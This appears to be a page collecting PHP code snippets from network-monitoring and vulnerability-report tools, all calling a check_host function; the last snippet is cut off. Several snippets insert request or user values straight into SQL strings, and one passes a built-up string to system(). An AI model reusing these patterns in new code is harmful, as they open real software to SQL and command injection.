Esempio n. 1
0
function script_id($id, $lookup, $details)
{
    global $showlive, $last30, $org, $site, $uroles, $username, $dbconn;
    $dbconn->SetFetchMode(ADODB_FETCH_BOTH);
    if (!$uroles['reports'] && !$uroles['admin']) {
        if ($org == "" && $site == "") {
            $org_code = "";
        }
    } else {
        $org_code = "";
    }
    $sql_filter = "";
    if ($org_code) {
        $sql_filter = " AND ORG='{$org_code}'";
    } elseif ($org) {
        $sql_filter = " AND ORG='{$org}'";
    }
    if ($site) {
        $sql_filter .= " AND site_code='{$site}'";
    }
    if ($lookup == "bysubnets") {
        $query = "SELECT t1.site_code, t1.ORG, t3.hostip, t3.hostname, t1.dtLastScanned, t3.service, t3.risk, t3.msg\n\t\t\tFROM vuln_subnets t1\n\t\t\tLEFT JOIN vuln_jobs t2 ON t1.CIDR = t2.fk_name\n\t\t\t\tAND ( t2.scan_SUBMIT >= t1.dtLastScanned OR t1.report_id = t2.report_id )\n\t\t\tLEFT JOIN vuln_nessus_results t3 ON t2.report_id = t3.report_id\n\t\t\tWHERE {$sql_filter}  t1.status != 'available' and t1.serial_flag='N' AND\n\t\t\tt3.scriptid='{$id}' GROUP BY t3.hostip ORDER BY INET_NTOA(t3.hostip) ASC";
    } elseif ($lookup == "byage") {
        subtractTime($hours = 0, $minutes = 0, $seconds = 0, $months = 0, $days = 0, $years = 0);
        $query = "SELECT t1.site_code, t1.ORG, t1.hostip, t1.hostname, t1.lastscandate, t2.service, t2.risk, t2.msg\n\t\t\tFROM vuln_hosts t1\n\t\t\tLEFT JOIN vuln_Incidents t2 ON t1.id = t2.host_id\n\t\t\tWHERE {$sql_filter} t2.status != 'resolved' AND t2.scriptid='{$id}'\n\t\t\tGROUP BY t2.host_id ORDER BY t1.site_code";
    } else {
        $query = "SELECT t2.site_code, t2.ORG, t2.hostip, t2.hostname, t2.lastscandate, t1.service, t1.risk, t1.msg\n\t\t  FROM vuln_Incidents t1\n\t\t  LEFT JOIN vuln_hosts t2 on t1.host_id=t2.id\n\t\t  WHERE t1.scriptid='{$id}' and t1.status = 'open' {$sql_filter} ORDER BY t2.ORG,t2.site_code,t2.lastscandate";
    }
    $result = $dbconn->execute($query);
    #ECHO "sql=$query<br>";
    echo "<table summary=\"Plugin Matches [ <font color=red>{$pid}</a> ]\" border=\"1\" width=\"100%\">";
    if ($details == "1") {
        echo "<tr><td colspan=7><h4>Vulnerabilities found:</h4></tr>\n\t\t<tr>\n\t\t\t<td><font face=\"Verdana\" color=\"#666666\" size=\"4\"><b>Host&nbsp;&nbsp;</b></font></td>\n      \t\t<td><font face=\"Verdana\" color=\"#666666\" size=\"4\"><b>Severity&nbsp;&nbsp;</b></font></td>\n      \t\t<td colspan=5><font face=\"Verdana\" color=\"#666666\" size=\"4\"><b>Description&nbsp;&nbsp;</b></font></td>\n      \t</tr>";
    } else {
        echo "<tr><td colspan=7><h4>Vulnerabilities found:</h4></tr>";
    }
    $htmldetails = "";
    $i = 0;
    while (!$result->EOF) {
        list($sCODE, $sORG, $hostIP, $hostname, $lastscanned, $service, $risk, $msg) = $result->fields;
        $i = $i += 1;
        $msg = preg_replace("/^[ \t]*/", "", $msg);
        $msg = wordwrap(preg_replace("/\n/", "<br>", $msg), 100, "<br>", 1);
        if ($details == "1") {
            $htmldetails .= "<tr>\n\t\t\t<td>{$hostIP}<br>{$hostname}</td>\n      \t\t<td>{$service}<br>" . getrisk($risk) . "</td>\n      \t\t<td colspan=5>{$msg}</td>\n      \t</tr>";
        } else {
            if ($htmldetails == "") {
                $legendcode = "</table><br>" . printLegend() . "<br><table border=\"1\" width=\"100%\">";
                $htmldetails .= "<tr><td>RISK</td><td colspan=6>" . getrisk($risk) . "</td></tr>\n        \t\t<tr><td>SERVICE</td><td colspan=6>{$service}</td></tr>\n        \t\t<tr><td>MSG</td><td colspan=6>{$msg}</td></tr>\n\t\t\t\t<tr><td colspan=7>&nbsp;</td></tr>\n\t\t\t\t{$legendcode}\n\t\t\t\t<tr><td colspan=7><h4>VULNERABLE HOSTS</h4></td></tr>\n\t\t\t\t<tr><td colspan=7>&nbsp;</td></tr>\n\t\t\t\t<tr><td>COUNT</td>\n\t\t\t\t\t<td>STATUS</td>\n\t\t\t\t\t<td>HOSTIP</td>\n\t\t\t\t\t<td>HOSTNAME</td>\n\t\t\t\t\t<td>SITE</td>\n\t\t\t\t\t<td>ORG</td>\n\t\t\t\t\t<td>LastScanned</td>\n\t\t\t\t</tr>";
            }
            if ($showlive) {
                $arrHOST = check_host($hostname, $hostIP);
                if ($arrHOST['hostname']) {
                    $hostname = $arrHOST['hostname'];
                }
                if ($arrHOST['hostip']) {
                    $hostIP = $arrHOST['hostip'];
                }
                $rating = $arrHOST['rating'];
                $rating_color = $arrHOST['rating_color'];
            }
            if ($sCODE == $sORG) {
                $sORG = "&nbsp;";
            }
            # no reason to show it twice
            if (!$showlive || $rating >= 3) {
                $htmldetails .= "<tr>\n        \t\t<td>[{$i}]</td>\n        \t\t<td bgcolor=\"{$rating_color}\">{$rating}</td>\n        \t\t<td>{$hostIP}</td>\n        \t\t<td>{$hostname}</td>\n        \t\t<td>{$sCODE}</td>\n        \t\t<td>{$sORG}</td>\n        \t\t<td>{$lastscanned}</td>\n        \t\t</tr>";
            }
        }
        $result->MoveNext();
    }
    echo $htmldetails;
    echo "</table>";
}
Esempio n. 2
0
function graph_edit()
{
    global $colors, $struct_graph, $image_types, $consolidation_functions, $graph_item_types, $struct_graph_item;
    /* ================= input validation ================= */
    input_validate_input_number(get_request_var("id"));
    /* ==================================================== */
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        // graph add
        if ($_GET["id"] == "") {
            if ($_GET["host_id"] != -1) {
                input_validate_input_number(get_request_var("host_id"));
                if (!check_host($_GET["host_id"])) {
                    access_denied();
                }
            }
            // graph edit
        } else {
            $permission = check_graph($_GET["id"]);
            if ($permission != GRAPH_PRIVATE && $permission != GRAPH_PRIVATE + GRAPH_PUBLIC) {
                access_denied();
            }
        }
    }
    /* modify for multi user end */
    $use_graph_template = true;
    if (!empty($_GET["id"])) {
        $local_graph_template_graph_id = db_fetch_cell("select local_graph_template_graph_id from graph_templates_graph where local_graph_id=" . $_GET["id"]);
        $graphs = db_fetch_row("select * from graph_templates_graph where local_graph_id=" . $_GET["id"]);
        $graphs_template = db_fetch_row("select * from graph_templates_graph where id={$local_graph_template_graph_id}");
        $host_id = db_fetch_cell("select host_id from graph_local where id=" . $_GET["id"]);
        $header_label = "[edit: " . htmlspecialchars(get_graph_title($_GET["id"])) . "]";
        if ($graphs["graph_template_id"] == "0") {
            $use_graph_template = false;
        }
    } else {
        $header_label = "[new]";
        $use_graph_template = false;
    }
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        unset($_GET["debug"]);
    }
    /* modify for multi user end */
    /* handle debug mode */
    if (isset($_GET["debug"])) {
        if ($_GET["debug"] == "0") {
            kill_session_var("graph_debug_mode");
        } elseif ($_GET["debug"] == "1") {
            $_SESSION["graph_debug_mode"] = true;
        }
    }
    if (!empty($_GET["id"])) {
        ?>
		<table width="100%" align="center">
			<tr>
				<td class="textInfo" colspan="2" valign="top">
					<?php 
        print htmlspecialchars(get_graph_title($_GET["id"]));
        ?>
				</td>
				<td class="textInfo" align="right" valign="top">
                    <?php 
        /* modify for multi user start */
        if ($_SESSION["permission"] == ACCESS_ADMINISTRATOR) {
            ?>
					<span style="color: #c16921;">*<a href='<?php 
            print htmlspecialchars("graphs.php?action=graph_edit&id=" . (isset($_GET["id"]) ? $_GET["id"] : "0") . "&debug=" . (isset($_SESSION["graph_debug_mode"]) ? "0" : "1"));
            ?>
'>Turn <strong><?php 
            print isset($_SESSION["graph_debug_mode"]) ? "Off" : "On";
            ?>
</strong> Graph Debug Mode.</a></span><br>
					<?php 
        }
        if (!empty($graphs["graph_template_id"]) && $_SESSION["permission"] == ACCESS_ADMINISTRATOR) {
            ?>
<span style="color: #c16921;">*<a href='<?php 
            print htmlspecialchars("graph_templates.php?action=template_edit&id=" . (isset($graphs["graph_template_id"]) ? $graphs["graph_template_id"] : "0"));
            ?>
'>Edit Graph Template.</a></span><br><?php 
        }
        /* modify for multi user end */
        if (!empty($_GET["host_id"]) || !empty($host_id)) {
            ?>
<span style="color: #c16921;">*<a href='<?php 
            print htmlspecialchars("host.php?action=edit&id=" . (isset($_GET["host_id"]) ? $_GET["host_id"] : $host_id));
            ?>
'>Edit Host.</a></span><br><?php 
        }
        ?>
				</td>
			</tr>
		</table>
		<br>
		<?php 
    }
    html_start_box("<strong>Graph Template Selection</strong> {$header_label}", "100%", $colors["header"], "3", "center", "");
    $form_array = array("graph_template_id" => array("method" => "drop_sql", "friendly_name" => "Selected Graph Template", "description" => "Choose a graph template to apply to this graph. Please note that graph data may be lost if you change the graph template after one is already applied.", "value" => isset($graphs) ? $graphs["graph_template_id"] : "0", "none_value" => "None", "sql" => "select graph_templates.id,graph_templates.name from graph_templates order by name"), "host_id" => array("method" => "drop_sql", "friendly_name" => "Host", "description" => "Choose the host that this graph belongs to.", "value" => isset($_GET["host_id"]) ? $_GET["host_id"] : $host_id, "none_value" => "None", "sql" => "select id,CONCAT_WS('',description,' (',hostname,')') as name from host order by description,hostname"), "graph_template_graph_id" => array("method" => "hidden", "value" => isset($graphs) ? $graphs["id"] : "0"), "local_graph_id" => array("method" => "hidden", "value" => isset($graphs) ? $graphs["local_graph_id"] : "0"), "local_graph_template_graph_id" => array("method" => "hidden", "value" => isset($graphs) ? $graphs["local_graph_template_graph_id"] : "0"), "_graph_template_id" => array("method" => "hidden", "value" => isset($graphs) ? $graphs["graph_template_id"] : "0"), "_host_id" => array("method" => "hidden", "value" => isset($host_id) ? $host_id : "0"));
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        unset($form_array["graph_template_id"]["none_value"]);
        $form_array["graph_template_id"]["sql"] = "SELECT graph_templates.id,graph_templates.name FROM graph_templates WHERE name NOT LIKE '%@system' ORDER BY name";
        unset($form_array["host_id"]["none_value"]);
        $form_array["host_id"]["sql"] = "\r\n            SELECT host.id,CONCAT_WS('',host.description,' (',host.hostname,')') AS name FROM host \r\n                INNER JOIN user_auth_perms ON host.id = user_auth_perms.item_id AND user_auth_perms.user_id = '" . $_SESSION["sess_user_id"] . "' AND user_auth_perms.type = '3' \r\n            ORDER BY host.description,host.hostname";
    }
    /* modify for multi user end */
    draw_edit_form(array("config" => array(), "fields" => $form_array));
    html_end_box();
    /* only display the "inputs" area if we are using a graph template for this graph */
    if (!empty($graphs["graph_template_id"])) {
        html_start_box("<strong>Supplemental Graph Template Data</strong>", "100%", $colors["header"], "3", "center", "");
        draw_nontemplated_fields_graph($graphs["graph_template_id"], $graphs, "|field|", "<strong>Graph Fields</strong>", true, true, 0);
        draw_nontemplated_fields_graph_item($graphs["graph_template_id"], $_GET["id"], "|field|_|id|", "<strong>Graph Item Fields</strong>", true);
        html_end_box();
    }
    /* graph item list goes here */
    if (!empty($_GET["id"]) && empty($graphs["graph_template_id"])) {
        item();
    }
    if (!empty($_GET["id"])) {
        ?>
		<table width="100%" align="center">
			<tr>
				<td align="center" class="textInfo" colspan="2">
					<img src="<?php 
        print htmlspecialchars("graph_image.php?action=edit&local_graph_id=" . $_GET["id"] . "&rra_id=" . read_graph_config_option("default_rra_id"));
        ?>
" alt="">
				</td>
				<?php 
        if (isset($_SESSION["graph_debug_mode"]) && isset($_GET["id"])) {
            $graph_data_array["output_flag"] = RRDTOOL_OUTPUT_STDERR;
            $graph_data_array["print_source"] = 1;
            ?>
					<td>
						<span class="textInfo">RRDTool Command:</span><br>
						<pre><?php 
            print @rrdtool_function_graph($_GET["id"], 1, $graph_data_array);
            ?>
</pre>
						<span class="textInfo">RRDTool Says:</span><br>
						<?php 
            unset($graph_data_array["print_source"]);
            ?>
						<pre><?php 
            print @rrdtool_function_graph($_GET["id"], 1, $graph_data_array);
            ?>
</pre>
					</td>
					<?php 
        }
        ?>
			</tr>
		</table>
		<br>
		<?php 
    }
    if ((isset($_GET["id"]) || isset($_GET["new"])) && empty($graphs["graph_template_id"])) {
        html_start_box("<strong>Graph Configuration</strong>", "100%", $colors["header"], "3", "center", "");
        $form_array = array();
        while (list($field_name, $field_array) = each($struct_graph)) {
            $form_array += array($field_name => $struct_graph[$field_name]);
            $form_array[$field_name]["value"] = isset($graphs) ? $graphs[$field_name] : "";
            $form_array[$field_name]["form_id"] = isset($graphs) ? $graphs["id"] : "0";
            if (!($use_graph_template == false || $graphs_template["t_" . $field_name] == "on")) {
                $form_array[$field_name]["method"] = "template_" . $form_array[$field_name]["method"];
                $form_array[$field_name]["description"] = "";
            }
        }
        draw_edit_form(array("config" => array("no_form_tag" => true), "fields" => $form_array));
        html_end_box();
    }
    if (isset($_GET["id"]) || isset($_GET["new"])) {
        form_hidden_box("save_component_graph", "1", "");
        form_hidden_box("save_component_input", "1", "");
    } else {
        form_hidden_box("save_component_graph_new", "1", "");
    }
    form_hidden_box("rrdtool_version", read_config_option("rrdtool_version"), "");
    form_save_button("graphs.php");
    //Now we need some javascript to make it dynamic
    ?>
<script language="JavaScript">

dynamic();

function dynamic() {
	//alert("RRDTool Version is '" + document.getElementById('rrdtool_version').value + "'");
	//alert("Log is '" + document.getElementById('auto_scale_log').checked + "'");
	if (document.getElementById('scale_log_units')) {
		document.getElementById('scale_log_units').disabled=true;
		if ((document.getElementById('rrdtool_version').value != 'rrd-1.0.x') &&
			(document.getElementById('auto_scale_log').checked)) {
			document.getElementById('scale_log_units').disabled=false;
		}
	}
}

function changeScaleLog() {
	//alert("Log changed to '" + document.getElementById('auto_scale_log').checked + "'");
	if (document.getElementById('scale_log_units')) {
		document.getElementById('scale_log_units').disabled=true;
		if ((document.getElementById('rrdtool_version').value != 'rrd-1.0.x') &&
			(document.getElementById('auto_scale_log').checked)) {
			document.getElementById('scale_log_units').disabled=false;
		}
	}
}
</script>
<?php 
}
Esempio n. 3
0
/**
 *
 * Function check_security_type
 * This function checks database settings to see if non standard play security options have been met
 * @param string $security_setting = the value taken from security_setting in play_security_details
 * @return bool True or False if two params match
 * @version 1.0
 * @author Patrick Lockley
 */
function check_security_type($security_setting)
{
    if ($security_setting != "") {
        if (substr($security_setting, 0, 4) == "http") {
            return check_host($_SERVER['HTTP_REFERER'], $security_setting);
        } else {
            return check_ip($_SERVER['REMOTE_ADDR'], $security_setting);
        }
    } else {
        return false;
    }
}
Esempio n. 4
0
    //	echo substr($msg, 0, 500);
    //	exit;
    $data = "\"status {$host}.batch {$msg}\"";
    $cmd = "{$bb} {$bbDisp} {$data}";
    system($cmd);
}
if (!file_exists($bbHosts)) {
    if ($argc > 1) {
        $msg = '';
        check($msg, $argv[1]);
        echo $msg;
    }
    exit;
}
$lines = file($bbHosts);
foreach ($lines as $line) {
    $line = trim($line);
    if (preg_match('/^#/', $line)) {
        continue;
    }
    if (!preg_match('/^(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+([\\w.\\d-]+)\\s+#(.+)$/', $line, $arr)) {
        continue;
    }
    $url = $arr[1];
    $host = $arr[2];
    $modules = explode(' ', $arr[3]);
    if (!in_array('batch', $modules)) {
        continue;
    }
    check_host($url, $host);
}
Esempio n. 5
0
    }
    if (is_array($hostid)) {
        $hostid = '';
    }
    if (!thold_user_auth_threshold($rra)) {
        include_once $config['include_path'] . '/top_header.php';
        print '<font size=+1 color=red>Access Denied - You do not have permissions to access that threshold.</font>';
        include_once $config['include_path'] . '/bottom_footer.php';
        exit;
    }
} else {
    $_REQUEST['rra'] = '';
    $rra = '';
    if (isset($_REQUEST['hostid'])) {
        /* modify for multi user start */
        if (!check_host($_REQUEST['hostid'])) {
            access_denied();
        }
        /* modify for multi user end */
        $hostid = $_REQUEST['hostid'];
    } else {
        $_REQUEST['hostid'] = '';
        if (isset($_GET['hostid'])) {
            $hostid = $_GET['hostid'];
        }
        if (isset($_POST['hostid'])) {
            $hostid = $_POST['hostid'];
        }
    }
}
/* modify for multi user start */
Esempio n. 6
0
function graphs()
{
    global $colors;
    /* ================= input validation ================= */
    input_validate_input_number(get_request_var_request("host_id"));
    input_validate_input_number(get_request_var_request("graph_type"));
    /* ==================================================== */
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        if ($_REQUEST["host_id"] == "") {
            $_REQUEST["host_id"] = db_fetch_cell("\r\n                SELECT host.id FROM host\r\n                    INNER JOIN user_auth_perms ON host.id = user_auth_perms.item_id AND user_auth_perms.user_id = '" . $_SESSION["sess_user_id"] . "' AND user_auth_perms.type = '3'\r\n                ORDER BY host.id LIMIT 1");
        }
    }
    if (!check_host($_REQUEST["host_id"])) {
        access_denied();
    }
    /* modify for multi user end */
    /* clean up search string */
    if (isset($_REQUEST["filter"])) {
        $_REQUEST["filter"] = sanitize_search_string(get_request_var("filter"));
    }
    /* if the user pushed the 'clear' button */
    if (isset($_REQUEST["clear_x"])) {
        kill_session_var("sess_graphs_new_filter");
        unset($_REQUEST["filter"]);
        $changed = true;
    } else {
        /* if any of the settings changed, reset the page number */
        $changed = false;
        $changed += check_changed("host_id", "sess_graphs_new_host_id");
        $changed += check_changed("graph_type", "sess_graphs_new_graph_type");
        $changed += check_changed("filter", "sess_graphs_new_filter");
    }
    load_current_session_value("host_id", "sess_graphs_new_host_id", db_fetch_cell("select id from host order by description,hostname limit 1"));
    load_current_session_value("graph_type", "sess_graphs_new_graph_type", read_config_option("default_graphs_new_dropdown"));
    load_current_session_value("filter", "sess_graphs_new_filter", "");
    $host = db_fetch_row("select id,description,hostname,host_template_id from host where id=" . $_REQUEST["host_id"]);
    $row_limit = read_config_option("num_rows_data_query");
    $debug_log = debug_log_return("new_graphs");
    if (!empty($debug_log)) {
        debug_log_clear("new_graphs");
        if (read_config_option("cacti_popup_messages") == "on") {
            ?>
		<div id='message'>
			<?php 
            print "<table align='center' style='width:100%;background-color:#" . $colors["header"] . ";'><tr><td style='align:center;padding:3px;font-weight:bold;font-size:10pt;text-align:center;'>Graphs Created</td><td style='width:1px;align:right;'><input type='button' value='Clear' onClick='javascript:document.getElementById(\"message\").style.display=\"none\"' style='align=right;'></td></tr></table>";
            ?>
			<?php 
            print "<table align='left' style='width:100%;'><tr><td><ul style='text-align:left;white-space:nowrap;color:#000000;padding:2px 10px;margin:10px;'>" . $debug_log . "</ul></td></tr></table>";
            ?>
		</div>
		<?php 
        } else {
            ?>
		<table width='100%' style='background-color: #f5f5f5; border: 1px solid #bbbbbb;' align='center'>
			<tr bgcolor="<?php 
            print $colors["light"];
            ?>
">
				<td style="padding: 3px; font-family: monospace;">
					<ul style='margin:0px 5px;padding-left:10px'><?php 
            print $debug_log;
            ?>
</ul>
				</td>
			</tr>
		</table>
		<br><?php 
        }
    }
    ?>
	<script type="text/javascript">
	<!--
	<?php 
    if (read_config_option("cacti_popup_messages") == "on") {
        ?>
	var obj = document.getElementById('message');

	if (obj) {
		if (window.innerHeight) {
			height = window.innerHeight;
			width  = window.innerWidth;
		}else{
			height = document.body.clientHeight;
			width  = document.body.clientWidth;
		}
		obj.style.position = "absolute";
		obj.style.padding = "0px";
		obj.style.display = "";
		obj.style.overflow = "auto";
		obj.style.color = "#FFFFFF";
		obj.style.backgroundColor = "#<?php 
        print $colors["light"];
        ?>
";
		obj.style.border = "1px solid #<?php 
        print $colors["header"];
        ?>
";
		cw = obj.offsetWidth;
		// Adjust for IE6
		if (!cw) cw = 150;
		ch = obj.offsetHeight;
		obj.style.top = '65px';
		obj.style.left = ((width/2) - (cw/2) - 88)+'px';
	}
	<?php 
    }
    ?>

	function applyGraphsNewFilterChange(objForm) {
		strURL = '?graph_type=' + objForm.graph_type.value;
		strURL = strURL + '&host_id=' + objForm.host_id.value;
		strURL = strURL + '&filter=' + objForm.filter.value;;
		document.location = strURL;
	}

	-->
	</script>
	<form name="form_graphs_new" action="graphs_new.php">
	<table width="100%" cellpadding="4" align="center">
		<tr>
			<td nowrap style='white-space: nowrap;' width="30%" class="textInfo">
				<?php 
    print htmlspecialchars($host["description"]);
    ?>
 (<?php 
    print htmlspecialchars($host["hostname"]);
    ?>
)
			</td>
			<td align="left" class="textInfo" colspan="2" style="color: #aaaaaa;">
				<?php 
    if (!empty($host["host_template_id"])) {
        print htmlspecialchars(db_fetch_cell("select name from host_template where id=" . $host["host_template_id"]));
    }
    ?>
			</td>
		</tr>
	</table>
	<table width="100%" cellpadding="0" align="center">
		<tr>
			<td nowrap style='white-space: nowrap;' width="55" class="textArea">
				Host:&nbsp;
			</td>
			<td width="1">
				<select name="host_id" onChange="applyGraphsNewFilterChange(document.form_graphs_new)">
				<?php 
    /* modify for multi user start */
    if ($_SESSION["permission"] <= ACCESS_ADMINISTRATOR) {
        $hosts = db_fetch_assoc("\r\n                        SELECT host.id,CONCAT_WS('',host.description,' (',host.hostname,')') as name FROM host \r\n                            INNER JOIN user_auth_perms ON host.id = user_auth_perms.item_id AND user_auth_perms.user_id = '" . $_SESSION["sess_user_id"] . "' AND user_auth_perms.type = '3'\r\n                        ORDER BY host.description,host.hostname");
    } else {
        $hosts = db_fetch_assoc("select id,CONCAT_WS('',description,' (',hostname,')') as name from host order by description,hostname");
    }
    /* modify for multi user end */
    if (sizeof($hosts) > 0) {
        foreach ($hosts as $item) {
            print "<option value='" . $item["id"] . "'";
            if ($_REQUEST["host_id"] == $item["id"]) {
                print " selected";
            }
            print ">" . htmlspecialchars($item["name"]) . "</option>\n";
        }
    }
    ?>
				</select>
			</td>
			<td nowrap style='white-space: nowrap;' width="100" class="textArea">
				&nbsp;Graph Types:&nbsp;
			</td>
			<td width="1">
				<select name="graph_type" onChange="applyGraphsNewFilterChange(document.form_graphs_new)">
				<option value="-2"<?php 
    if ($_REQUEST["graph_type"] == "-2") {
        ?>
 selected<?php 
    }
    ?>
>All</option>
				<option value="-1"<?php 
    if ($_REQUEST["graph_type"] == "-1") {
        ?>
 selected<?php 
    }
    ?>
>Graph Template Based</option>
				<?php 
    $snmp_queries = db_fetch_assoc("SELECT\r\n\t\t\t\t\tsnmp_query.id,\r\n\t\t\t\t\tsnmp_query.name,\r\n\t\t\t\t\tsnmp_query.xml_path\r\n\t\t\t\t\tFROM (snmp_query,host_snmp_query)\r\n\t\t\t\t\tWHERE host_snmp_query.snmp_query_id=snmp_query.id\r\n\t\t\t\t\tAND host_snmp_query.host_id=" . $host["id"] . "\r\n\t\t\t\t\tORDER BY snmp_query.name");
    if (sizeof($snmp_queries) > 0) {
        foreach ($snmp_queries as $query) {
            print "<option value='" . $query["id"] . "'";
            if ($_REQUEST["graph_type"] == $query["id"]) {
                print " selected";
            }
            print ">" . $query["name"] . "</option>\n";
        }
    }
    ?>
				</select>
			</td>
			<td nowrap style='white-space: nowrap;' class="textInfo" align="left" valign="top">
				<span style="white-space: nowrap; color: #c16921;">*</span><a href="<?php 
    print htmlspecialchars("host.php?action=edit&id=" . $_REQUEST["host_id"]);
    ?>
">Edit this Host</a><br>
                <?php 
    /* modify for multi user start */
    if (check_resource_count(RESOURCE_HOST) == TRUE) {
        ?>
				<span style="white-space: nowrap; color: #c16921;">*</span><a href="<?php 
        print htmlspecialchars("host.php?action=edit");
        ?>
">Create New Host</a><br>
				<?php 
    }
    if ($_SESSION["permission"] == ACCESS_ADMINISTRATOR) {
        api_plugin_hook('graphs_new_top_links');
    }
    /* modify for multi user end */
    ?>
			</td>
		</tr>
	</table>
	<?php 
    if ($_REQUEST["graph_type"] > 0) {
        ?>
	<table width="100%" cellpadding="0" align="center">
		<tr>
			<td nowrap style='white-space: nowrap;' width="55" class="textArea">
				Search:&nbsp;
			</td>
			<td nowrap style='white-space: nowrap;' width="200">
				<input type="text" name="filter" size="30" value="<?php 
        print htmlspecialchars(get_request_var_request("filter"));
        ?>
">
			</td>
			<td align="left" nowrap style='white-space: nowrap;'>
				&nbsp;<input type="submit" value="Go" title="Set/Refresh Filters">
				<input type="submit" name="clear_x" value="Clear" title="Clear Filters">
			</td>
		</tr>
	</table>
	<?php 
    } else {
        form_hidden_box("filter", $_REQUEST["filter"], "");
    }
    ?>
	</form>

	<form name="chk" method="post" action="graphs_new.php">
	<?php 
    $total_rows = sizeof(db_fetch_assoc("select graph_template_id from host_graph where host_id=" . $_REQUEST["host_id"]));
    $i = 0;
    if ($changed) {
        foreach ($snmp_queries as $query) {
            kill_session_var("sess_graphs_new_page" . $query["id"]);
            unset($_REQUEST["page" . $query["id"]]);
            load_current_session_value("page" . $query["id"], "sess_graphs_new_page" . $query["id"], "1");
        }
    }
    if ($_REQUEST["graph_type"] > 0) {
        load_current_session_value("page" . $_REQUEST["graph_type"], "sess_graphs_new_page" . $_REQUEST["graph_type"], "1");
    } else {
        if ($_REQUEST["graph_type"] == -2) {
            foreach ($snmp_queries as $query) {
                load_current_session_value("page" . $query["id"], "sess_graphs_new_page" . $query["id"], "1");
            }
        }
    }
    $script = "<script type='text/javascript'>\nvar gt_created_graphs = new Array();\nvar created_graphs = new Array()\n";
    if ($_REQUEST["graph_type"] < 0) {
        html_start_box("<strong>Graph Templates</strong>", "100%", $colors["header"], "3", "center", "");
        print "\t<tr bgcolor='#" . $colors["header_panel"] . "'>\r\n\t\t\t\t<td class='textSubHeaderDark'>Graph Template Name</td>\r\n\t\t\t\t<td width='1%' align='center' bgcolor='#819bc0' style='" . get_checkbox_style() . "'><input type='checkbox' style='margin: 0px;' name='all_cg' title='Select All' onClick='SelectAll(\"cg\",this.checked);gt_update_selection_indicators();'></td>\n\r\n\t\t\t</tr>\n";
        $graph_templates = db_fetch_assoc("SELECT\r\n\t\t\tgraph_templates.id AS graph_template_id,\r\n\t\t\tgraph_templates.name AS graph_template_name\r\n\t\t\tFROM (host_graph,graph_templates)\r\n\t\t\tWHERE host_graph.graph_template_id=graph_templates.id\r\n\t\t\tAND host_graph.host_id=" . $_REQUEST["host_id"] . "\r\n\t\t\tORDER BY graph_templates.name");
        $template_graphs = db_fetch_assoc("SELECT\r\n\t\t\tgraph_local.graph_template_id\r\n\t\t\tFROM (graph_local,host_graph)\r\n\t\t\tWHERE graph_local.graph_template_id=host_graph.graph_template_id\r\n\t\t\tAND graph_local.host_id=host_graph.host_id\r\n\t\t\tAND graph_local.host_id=" . $host["id"] . "\r\n\t\t\tGROUP BY graph_local.graph_template_id");
        if (sizeof($template_graphs) > 0) {
            $script .= "var gt_created_graphs = new Array(";
            $cg_ctr = 0;
            foreach ($template_graphs as $template_graph) {
                $script .= ($cg_ctr > 0 ? "," : "") . "'" . $template_graph["graph_template_id"] . "'";
                $cg_ctr++;
            }
            $script .= ")\n";
        }
        /* create a row for each graph template associated with the host template */
        if (sizeof($graph_templates) > 0) {
            foreach ($graph_templates as $graph_template) {
                $query_row = $graph_template["graph_template_id"];
                print "<tr id='gt_line{$query_row}' bgcolor='#" . ($i % 2 == 0 ? "ffffff" : $colors["light"]) . "'>";
                $i++;
                print "\t\t<td onClick='gt_select_line(" . $graph_template["graph_template_id"] . ");'>\r\n\t\t\t\t\t\t<span id='gt_text{$query_row}" . "_0'><strong>Create:</strong> " . htmlspecialchars($graph_template["graph_template_name"]) . "</span>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td align='right'>\r\n\t\t\t\t\t\t<input type='checkbox' name='cg_{$query_row}' id='cg_{$query_row}' onClick='gt_update_selection_indicators();'>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>";
            }
        }
        $script .= "gt_update_deps(1);\n";
        /* modify for multi user start */
        $sql_where = "";
        if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
            $sql_where = "AND graph_templates.name NOT LIKE '%@system'";
        }
        $available_graph_templates = db_fetch_assoc("SELECT\r\n\t\t\tgraph_templates.id, graph_templates.name\r\n\t\t\tFROM snmp_query_graph RIGHT JOIN graph_templates\r\n\t\t\tON (snmp_query_graph.graph_template_id = graph_templates.id)\r\n\t\t\tWHERE (((snmp_query_graph.name) Is Null)) {$sql_where} ORDER BY graph_templates.name");
        /* modify for multi user end */
        /* create a row at the bottom that lets the user create any graph they choose */
        print "\t<tr bgcolor='#" . ($i % 2 == 0 ? "ffffff" : $colors["light"]) . "'>\r\n\t\t\t\t<td colspan='2' width='60' nowrap>\r\n\t\t\t\t\t<strong>Create:</strong>&nbsp;";
        form_dropdown("cg_g", $available_graph_templates, "name", "id", "", "(Select a graph type to create)", "", "textArea");
        print "\t\t</td>\r\n\t\t\t</tr>";
        html_end_box();
    }
    if ($_REQUEST["graph_type"] != -1) {
        $snmp_queries = db_fetch_assoc("SELECT\r\n\t\t\tsnmp_query.id,\r\n\t\t\tsnmp_query.name,\r\n\t\t\tsnmp_query.xml_path\r\n\t\t\tFROM (snmp_query,host_snmp_query)\r\n\t\t\tWHERE host_snmp_query.snmp_query_id=snmp_query.id\r\n\t\t\tAND host_snmp_query.host_id=" . $host["id"] . ($_REQUEST["graph_type"] != -2 ? " AND snmp_query.id=" . $_REQUEST["graph_type"] : '') . "\r\n\t\t\tORDER BY snmp_query.name");
        if (sizeof($snmp_queries) > 0) {
            foreach ($snmp_queries as $snmp_query) {
                unset($total_rows);
                if (!$changed) {
                    $page = $_REQUEST["page" . $snmp_query["id"]];
                } else {
                    $page = 1;
                }
                $xml_array = get_data_query_array($snmp_query["id"]);
                $num_input_fields = 0;
                $num_visible_fields = 0;
                if ($xml_array != false) {
                    /* loop through once so we can find out how many input fields there are */
                    reset($xml_array["fields"]);
                    while (list($field_name, $field_array) = each($xml_array["fields"])) {
                        if ($field_array["direction"] == "input") {
                            $num_input_fields++;
                            if (!isset($total_rows)) {
